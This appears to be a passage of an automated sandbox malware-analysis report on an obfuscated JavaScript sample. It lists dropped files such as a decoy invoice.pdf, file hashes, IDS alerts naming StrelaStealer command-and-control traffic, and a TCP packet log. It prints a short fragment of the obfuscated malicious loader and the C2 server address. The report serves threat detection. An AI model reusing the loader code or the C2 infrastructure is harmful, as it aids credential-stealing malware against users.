Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3f8e80fd-2da6-434b-8224-40c7fec5b97c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:/ZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	8312912E6CB90FD59FA4B4DAD2FBD051
SHA1:	29DDCB0F7AC29624A1C6CAC63C02B8BD088C046A
SHA-256:	D1EC61633BBD4EC2BA5C54286533D3C748EACCD4A123D0B36B64DCEC10FAA298
SHA-512:	EE7CA9D205E03D180C49ACB8EA45A6F2FF1116DB6E78A7D609B2C770836E95AB0BCB3CDC451DD592F90839CD3CA872E4FF367CCA9118713C89AFC37696FE8152
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5af5cb32-bdd2-4728-9ed9-06a9ed1b0042.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/W5bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oXGZiYIGNPB:u5b3mlind9i4ufFXpAXkrfUs0kWLxXGd
MD5:	9544A48871174B193D62E9E6837F4204
SHA1:	C42EA3310B6031B9B2CB47F9DCB05A0DEB50A509
SHA-256:	8E5C91E7593F70B096490F33928766EB528AEEF1D922CB490CFB6AE733C65E47
SHA-512:	8A8A88A2E8B250F64B3232D2966BBDE66C447E1C673A11FB6A23248D3900A5CD40DA92CDDDDC3E60A1843968D014CB68EA07363DF04C5E530141D6D2B952264A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5d4a199f-be13-49cd-8eb9-56e56020c4d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fc35bb6f-866b-4e86-9d61-6cdd00f475c8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15328), with CRLF line terminators
Entropy (8bit):	4.934844564302003
TrID:
File name:	1601021956623126375.js
File size:	18'733 bytes
MD5:	2ab1af522c259f514a997f14fc08872f
SHA1:	a13f6cb7e58eb9fde1baa0f89ed229d6db184f84
SHA256:	cf3d790a153df82fcd594ead0c6c5a0e7798da44199660889ca25e362b180b6c
SHA512:	317c445c7177ca57bc6b6d48e385f1c3093c5ee7d5d7e9fcf6bc6682c2fbe4be80cdcbb27803cc2da58af51f5bd7b9ce2fd0460bed12f747f49369aab199ada7
SSDEEP:	384:uyvaophq6XmYMZdDbkwuZIGvBP4imvjPvK:uyvtbMZ3uZIW4LnK
TLSH:	E282A5D50CA5872F8CCD08E61F3A0BF0119911958E36E8C93E9A5CBC6796E6993C783D
File Content Preview:	function dngpefbpr(){sdbgk=[1031,3079,5127,4103,2055,3072];var wdkrw=this[hpydbfim+lkpbuos+mmnhytxg+puyro+xkvpe+erigmo+tagtidvj+jqxzaw](this[vtvxgwzz+gprsv+qqwddsk+mmnhytxg+wzmwj+hpydbfim+jqxzaw][rmnwal+mmnhytxg+xkvpe+lkpbuos+jqxzaw+xkvpe+jegitq+ntscdmotl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:31:19.724281+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49703	193.143.1.205	80	TCP
2025-01-11T02:31:19.724281+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49703	193.143.1.205	80	TCP
2025-01-11T02:31:22.342498+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49704	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:31:18.850851059 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:18.855736017 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:18.855912924 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:18.858972073 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:18.863797903 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724173069 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724214077 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724229097 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724281073 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.724391937 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724407911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724421978 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724447012 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.724464893 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.724519014 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724534035 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724550009 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724565983 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.724569082 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.724603891 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.729276896 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.780050039 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.783823967 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.783874035 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.783956051 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.849330902 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849349976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849360943 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849455118 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.849543095 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849576950 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849589109 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849601984 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.849667072 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.849839926 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849890947 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849900961 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.849937916 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.850023985 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850087881 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.850502014 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850533009 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850543022 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850591898 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.850872993 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850915909 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850929976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.850950956 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.850979090 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.851062059 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851073027 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851119995 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.851861000 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851874113 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851886034 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851933956 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.851957083 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.851969957 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.852004051 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.913537979 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.952553988 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.952569962 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.952599049 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.952608109 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.952677011 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.952718019 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.974314928 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974344015 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974364042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974394083 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974406004 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974430084 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.974462986 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.974518061 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974530935 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974543095 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.974575043 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.974601030 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.975106955 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975119114 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975131035 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975142002 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975164890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.975191116 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.975452900 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975500107 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975511074 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975568056 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.975598097 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975610018 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975621939 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.975656033 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.975682020 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.976147890 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976161003 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976172924 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976206064 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.976223946 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976236105 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976247072 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976258993 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976274014 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.976300001 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.976332903 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.976382971 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.977019072 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977082968 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977093935 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977128983 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.977200031 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977211952 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977224112 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977256060 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.977278948 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977278948 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.977293015 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.977336884 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.977971077 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978013992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978027105 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978060007 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:19.978107929 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978121996 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:19.978180885 CET	49703	80	192.168.2.7	193.143.1.205
